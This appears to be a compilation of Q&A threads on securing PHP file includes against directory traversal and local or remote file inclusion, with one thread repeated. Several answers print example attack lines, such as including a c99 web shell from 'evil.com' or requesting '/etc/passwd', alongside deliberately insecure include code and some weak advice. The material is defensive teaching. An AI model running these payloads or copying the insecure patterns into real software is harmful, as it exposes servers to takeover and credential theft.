PHP: prevent folder hacking - if path has ../ in it? - php

i'm doing a simple thingy in php and i wonder how i can test if the variable $path contains the following structure ../
so i'll simply have a ?path=somepath structure in my url, and if anybody would enter ../ it allows him to go one directory up. I know of course that that's not the best solution, however for my little thingy it's enough if i just test the $path variable for a string of "../" in it. if so die();
i'm not sure what's the best way to test that!
regards matt

Instead of doing that, you could just call realpath() on it and check if the path it's supposed to be in is a prefix of that.
Even better, why not keep a whitelist and reject anything not in it?

to answer your question:
if(strpos($path,'../') !== false){
// looks like someone 's trying to hack here - simply
// do nothing (or send an email-notification to yourself
// to be informed and see how often this happens)
}else{
// here comes the magic
}
but: you really shouldn't do so. if you want an easy solution, use a switch-statement for every possible $path and include the relevant file (or whatever you have to do).

I's an alternative solution that allow you to customize the url....
<?php
$arr= array(
"register" => "register.php",
"login" => "userlogin.php",
"admin" => "adminlogin.php",
"etc" => "otherpage.php",
);
if ( isset ( $_GET['path'] )
if ( array_key_exists( $_GET['path'] , $arr) ){
//do some stuff...
include( $arr[$_GET['path']] );
}
else
echo 'Page Not Found!';
else
echo 'Required Field Empty!';
?>
So calling index.php?path=admin page adminlogin.php will be included....

one of the easier ways is to harden your php.ini config, specifically the open_basedir directive. Keep in mind, some CMS systems do actually use ..\ quite a bit in the code, and when there are includes outside the root folder this can create problems. (i.e. pear modules)
Another method is to use mod_rewrite.
Unless you are using an include file to check each and every URL for injection from $_GET and $_SERVER['request_uri'] variables, you will open doors for this kind of attack. for example, you might protect index.php but not submit.php. This is why hardening php.ini and .htaccess is the preferred method.

Related

LFI bypass of array method? [duplicate]

I'm using the "include" function (e.x. "include 'header2.php'" or "include 'class.users.php'")
to add the header or session class in my website. I don't really remember where, but I heard that hackers abuse, somehow, this "include" thing, sending the fake included page or something like that.
So basically I would like to know what's with that "include" function, how can I protect it, how do they abuse it and if there are better solutions for what I am looking for.
Thanks in advance.
It all depends on how you implement it. If you specifically set the path, then it's secure. The attack could happen if you allow user input to determine the file path without sanitization or checks.
Insecure (Directory Traversal)
<?php
include($_GET['file']);
?>
Insecure (URL fopen - If enabled)
<?php
include('http://evil.com/c99shell.php');
?>
Insecure
<?php
include('./some_dir/' . $_GET['file']);
?>
Partially Insecure ( *.php files are vulnerable )
<?php
include('./some_dir/' . $_GET['file'] . '.php');
?>
Secure (Though not sure why anyone would do this.)
<?php
$allowed = array(
'somefile.php',
'someotherfile.php'
);
if (in_array(basename($_GET['file']), $allowed)) {
include('./includes/' . basename($_GET['file']));
}
?>
Secure
<?php
include('./includes/somefile.php');
?>
The biggest issue with includes is likely changing filename extension from PHP to something that doesn't get automatically executed by the web server. For example- library.inc, or config.inc. Invoking these files with a web browser will reveal the code instead of executing it - and any passwords or exploitable hints will be shown.
Compare config.php that might have a password in it with config.inc. Pulling up config.inc would in most cases show what the database password was.
There are programmers who use .inc extensions for libraries. The premise is that they won't be in a directory accessible by a web server. However, less security paranoid programmers might dump that file into a convenient web directory.
Otherwise, ensure that you don't include a file that's submitted by a query string somehow. Ex: include( $_GET['menu_file'] ) <-- this is very wrong.
Include can be abused if you do something like this:
include($_GET["page"]);
and then call the URL:
myscript.php?page=index.php
attackers can then substitute index.php for hxxp://hackerz.ru/install_stuff.php and your server will gladly run it.
include itself is perfectly safe. Just make sure to always validate/escape your input.
Anything server side (assuming your server isn't compromised) is safe. Doing this:
Insecure
$var = $_GET['var']';
include $var . ".php";
Secure
include "page.php";
Include is safe provided you don't:
Include a remote file like www.someoneelsesssite.com/something.php
Include a file from a path that came from the client. www.mysite.com/bad.php?path=oops/here/is/your/passwords/file
Include a file from another possibly tainted source like a database.
2 and 3 technically have the caveat that if you disallow . or / or on windows \ you are probably fine. But if you don't know why, you don't know enough about it to risk it. Even when you think the database is read only or otherwise secure, it is wise to not assume that unless you really have to, which is almost never.
As pp19dd's answer points out. It is also vital that you name your includes with the .php extension. If you've set apache (or whatever web server you are using) to parse another file type as PHP too, that's safe as well. But if you don't know for sure, use .php exclusively.
The best thing to do is ensure that the page you are trying to include exists first. The real security loopholes come when your include page is processed from some sort of user input, such as a URL variable. ?include=page.php As long as you are cautious of these you should be fine.
if(is_file($file)) {
//other code, such as user verification and such should also go here
include $file;
}
else { die(); }
I'm using this method.
<?php include (dirname(__FILE__).'/file.php');

$_GET inside include from URL?

i want to include a file, but with $_get, i don't know how to explain but i try to give examples.
I need to include a file from URL like this
mysite.com/?=MYINCLUDETEXT
and to write on <?php include('MYINCLUDETEXT.php'); ?>
Anyone tell me, Thank You.
This will actually do what you want
if (isset($_GET['file'])){
include($_GET['file'].'.php');
}
You might also want to test that the file, you are trying to include exists
file_exists and actually is a file is_file and not a folder.
But you have to understand, that even doing this you are creating a BIG breach in your system and helping people who want to hack your.
Not only it becomes easier to include uploaded files, (not only files which were validly uploaded), but it also allows to include random files from your server.
To avoid problems described in answer above - put all your files names (which should be included) in array, like:
$pages_array=('home','services','contact').
And then check GET var: if(!in_array($_GET['page'], $pages_array) { die(); }
Because you will probably need some other $_GET values/vars, i suggest that you use $_GET['page'] - for inclusion... You could later add mod rewrite to display pages as 'normal' urls... e.g.
www.yoursite.com/index.php?page=contact, could be rewritten to : www.yoursite.com/contact.html

PHP - Is "include" function secure?

I'm using the "include" function (e.x. "include 'header2.php'" or "include 'class.users.php'")
to add the header or session class in my website. I don't really remember where, but I heard that hackers abuse, somehow, this "include" thing, sending the fake included page or something like that.
So basically I would like to know what's with that "include" function, how can I protect it, how do they abuse it and if there are better solutions for what I am looking for.
Thanks in advance.
It all depends on how you implement it. If you specifically set the path, then it's secure. The attack could happen if you allow user input to determine the file path without sanitization or checks.
Insecure (Directory Traversal)
<?php
include($_GET['file']);
?>
Insecure (URL fopen - If enabled)
<?php
include('http://evil.com/c99shell.php');
?>
Insecure
<?php
include('./some_dir/' . $_GET['file']);
?>
Partially Insecure ( *.php files are vulnerable )
<?php
include('./some_dir/' . $_GET['file'] . '.php');
?>
Secure (Though not sure why anyone would do this.)
<?php
$allowed = array(
'somefile.php',
'someotherfile.php'
);
if (in_array(basename($_GET['file']), $allowed)) {
include('./includes/' . basename($_GET['file']));
}
?>
Secure
<?php
include('./includes/somefile.php');
?>
The biggest issue with includes is likely changing filename extension from PHP to something that doesn't get automatically executed by the web server. For example- library.inc, or config.inc. Invoking these files with a web browser will reveal the code instead of executing it - and any passwords or exploitable hints will be shown.
Compare config.php that might have a password in it with config.inc. Pulling up config.inc would in most cases show what the database password was.
There are programmers who use .inc extensions for libraries. The premise is that they won't be in a directory accessible by a web server. However, less security paranoid programmers might dump that file into a convenient web directory.
Otherwise, ensure that you don't include a file that's submitted by a query string somehow. Ex: include( $_GET['menu_file'] ) <-- this is very wrong.
Include can be abused if you do something like this:
include($_GET["page"]);
and then call the URL:
myscript.php?page=index.php
attackers can then substitute index.php for hxxp://hackerz.ru/install_stuff.php and your server will gladly run it.
include itself is perfectly safe. Just make sure to always validate/escape your input.
Anything server side (assuming your server isn't compromised) is safe. Doing this:
Insecure
$var = $_GET['var']';
include $var . ".php";
Secure
include "page.php";
Include is safe provided you don't:
Include a remote file like www.someoneelsesssite.com/something.php
Include a file from a path that came from the client. www.mysite.com/bad.php?path=oops/here/is/your/passwords/file
Include a file from another possibly tainted source like a database.
2 and 3 technically have the caveat that if you disallow . or / or on windows \ you are probably fine. But if you don't know why, you don't know enough about it to risk it. Even when you think the database is read only or otherwise secure, it is wise to not assume that unless you really have to, which is almost never.
As pp19dd's answer points out. It is also vital that you name your includes with the .php extension. If you've set apache (or whatever web server you are using) to parse another file type as PHP too, that's safe as well. But if you don't know for sure, use .php exclusively.
The best thing to do is ensure that the page you are trying to include exists first. The real security loopholes come when your include page is processed from some sort of user input, such as a URL variable. ?include=page.php As long as you are cautious of these you should be fine.
if(is_file($file)) {
//other code, such as user verification and such should also go here
include $file;
}
else { die(); }
I'm using this method.
<?php include (dirname(__FILE__).'/file.php');

Php page calling

What is the best way if i want do something like these;
I call it page calling.
I have an index.php which will run the config.php
And i want to have index.php as my core then do something like
index.php?customer=home or index.php?customer=viewaccount
index.php?admin=home or index.php?admin=updateproduct
then call the particular php file eg. home.php , viewaccount.php
Best regards
I really appreciate yours help.=)
It sounds like you are talking about a design pattern known as the Front Controller Pattern.
It is certainly possible to implement your own front controller, but almost every PHP framework will have this capability already. I recommend you try Zend Framework.
I wouldn't mix admin and puclic areas in the same script.
So, for the public area you can do something like
<?
if (empty($_SERVER['QUERY_STRING'])) {
$name="index";
} else {
$name=basename($_SERVER['QUERY_STRING']);
}
$file="pages/$name.htm";
if (is_readable($file)) {
include($file);
} else {
header("HTTP/1.0 404 Not Found");
readfile("404.html");
}
?>
and then address customer pages like this index.php?home, index.php?viewaccount
Best is to check the $_GET parameter against an 'whitelist' array of allowed script names. After that, you can just include the file.
if ( in_array( $_GET['admin'], array( 'home', 'updateproduct' ) ) ) {
include( $_GET['admin'] . '.php');
}
Okay I couldn't be bothered to comment all of the answers here so I'll say it to you, even though this post will probably get put down as its not a direct help.
You need to be very careful when including files from a POST or GET request. Just be aware of Remote/Local file inclusion vulnerabilities when writing code like that. index.php?page=/etc/passwd or index.php?page=www.myEvilScript.com/evil.php
Many people can get hacked this way and you don't want that to happen to you.
Always sanitize your data, so stripslashes($_GET['admin']); or whatever method you want to use.
The name for this pattern is a front controller.
You can implement the multiplexing on the webserver (e.g. using mod_rewrite) or in your PHP code.
Here's how NOT to do it:
<?php
require_once($_REQUEST['customer']);
require_once($_REQUEST['admin']);
C.

Is RealPath safe?

<?php
if (preg_match('/^[a-z0-9]+$/', $_GET['p'])) {
$page = realpath('pages/'.$_GET['p'].'.php');
$tpl = realpath('templates/'.$_GET['p'].'.html');
if ($page && $tpl) {
include $page;
include $tpl;
} else {
include('error.php');
}
}
?>
How safe would you say this is?
I use this for a template file, so it can include "pages" instead of having to clutter a single file with tons of functions/strings/switch-cases/elseifs (take your pick) or create tons of files with the same layout.
It checks the realpath of the directory includes should be in and realpath of the file that is to be included, if the realpath of the file starts with the include directory, it is allowed to be included.
<?
#If you're worried about funky characters messing with stuff, use this
#preg_replace("/[^A-Za-z0-9_\-]+/","",$str);
if (isset($_REQUEST['page'])) {
$path=realpath("../inc/page").DIRECTORY_SEPARATOR;
$full_page=realpath($path.$_REQUEST['page'].".php");
if (file_exists($full_page)&&(strpos($full_page,$path)===0)) {
include($full_page);
} else {
echo "FAILED";
}
}
?>
Well, actually it realpath in this case doesn't provide any security. Actually it that case it serves no purpose at all, as include internally will expand the path. Your security here actually depends on preg_match. Note however, that regex you're using won't allow you to use an any page with upper case letter, with underscore or dash.
Anyhow, I don't think that including files based on parameters passed in request is good idea. There is something wrong with your design if you need that.
realpath doesn't help you at in this instance, as include can resolve the page path to the same file, no matter whether it is realpath'd or the original relative. It 'seems' to be valid, but I wouldn't trust that piece of code personally. I'm sure someone figures a neat way to inject a null-character to the input, wreaking havoc to the string termination.
What you need to do instead, to be safe, is keep a whitelist (or blacklist, if it happens to suit better, but prefer whitelists) of all allowed inputs/pages.
It seems to be safe....
But not efficient.
In MVC you have the controller and view dirs preset and pre known. No point in doing a stat to check if view/controller exists.
realpath() will actually have some effect in this case as it'll return FALSE if the target file does not exits. But as the other posters already said - this will not add any security to the code.
It's rather a way of error-handling in case the designated files do not exist.
Better run basename() on $_GET['p']. No directory traversal attacks for sure.
I cannot comment on the PHP realpath, but if it's just a wrapper for the system's realpath function then one thing to be aware of: on some systems (eg, Solaris), if the process receives a signal while realpath is executing it'll return the empty string ... in which case, you'd have to ensure your code is setup to handle that type of situation (unless the PHP implementation resolves that particular dilemma for you)

Categories